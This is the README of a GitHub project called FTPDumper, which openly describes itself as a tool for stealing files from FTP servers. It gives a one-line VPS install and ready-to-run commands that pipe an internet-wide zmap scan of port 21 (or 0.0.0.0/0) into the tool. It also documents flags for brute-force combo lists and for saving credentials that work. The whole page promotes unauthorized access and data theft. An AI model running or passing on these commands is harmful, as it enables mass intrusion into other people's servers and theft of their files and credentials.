Skip to content

Repository files navigation

logo

FTPDumper - An FTP Servers Stealer

FTPDumper forksGitHub Repo stars

View


features

📖 What is FTPDumper ?

FTPDumper is an easy-to-use yet advanced FTP server file stealer. It can be utilized in massive FTP brute-force attacks, supporting various formats such as combo, pipe input, CIDR, files, and even a single IP address.

FTPDumper boasts a plethora of features, including:

  • 💡 Anti-Fake File Detection: Utilizes advanced algorithms to detect and prevent the extraction of counterfeit files.
  • 🔍 Self-Implemented Scanner: Employs an internally developed scanning mechanism to ensure thoroughness and efficiency.
  • 🖥️ Modern and Sleek User Interface: Offers a visually appealing and user-friendly interface for seamless navigation and operation.
  • Fast and Memory-Safe Operation: Executes operations swiftly while maintaining optimal memory usage to prevent system slowdowns or crashes.
  • 🤝 Smart Connection and Timeout Management: Implements intelligent connection strategies and timeout configurations to maximize accuracy and resource utilization.
Use it at your own RISK!

🔍 Overview

🚀 Quickstart


One-Line Install And Running on Fresh VPS

apt update && apt install -y zmap && wget -q $(curl -s https://api.github.com/repos/MatrixTM/FTPDumper/releases/latest | grep browser_download_url | grep "FTPDumper"| cut -d '"' -f 4)&& chmod +x FTPDumper && zmap -p 21 -B 50MB -q | ./FTPDumper -l 5000
🔧 Manual Installation

1. Download FTPDumper

Download FTPDumper from Releases

2. Set Up Permission

Set up permission to FTPDumper binary file.

chmod +x FTPDumper

3. Run FTPDumper

You have a few ways to use FTPDumper.

  • Zmap
    • Download Zmap
    sudo apt install zmap
    • Run FTPDumper (Zmap)
    zmap -p 21 -q | ./FTPDumper -l 500 -save
    • Run FTPDumper (DevWay)
    ./FTPDumper -l 500 -save -s 0.0.0.0/0
    Check out Arguments to see more

⚙️ Arguments

MatrixTM@FTPDumper: ./FTPDumper --help
FTPDumper - Scan World FTP Servers and Steal Their Data
Flags:
--version Displays the program version string.
-h --help Displays help with available flag, subcommand, and positional value parameters.
-scan --scanner Ip/CIDR scanner (stdin|filename|cidr|ip) (default: stdin)
-c --combo Combo File (user:password)
-p --ports Ports Split by , (Default Port: 21)
-o --output Output Folder (default: files)
-f --formats File Formats Split by , (Default Format: all)
-l --limit Task limit (default: 10)
-t --timeout Timeout in seconds (default: 5s)
-s --save Save Credentials in hit.txt
-v --verbose Verbose Mode
ArgumentDescriptionDefault Value
--versionDisplays the program version string.None
-h, --helpDisplays help with available flag, subcommand, and positional value parameters.None
-scan, --scannerIP/CIDR scanner [stdin|filename|cidr|ip] stdinstdin
-c, --comboCombo File (user:password)anonymous
-p, --portsPorts Split by ,21
-o, --outputOutput Folder filesfiles
-f, --formatsFile Formats Split by ,all
-l, --limitTask limit10
-t, --timeoutTimeout in seconds5s
-s, --saveSave Credentials in hit.txtFalse
-v, --verboseVerbose ModeFalse

Releases

Packages

Used by

Contributors

Languages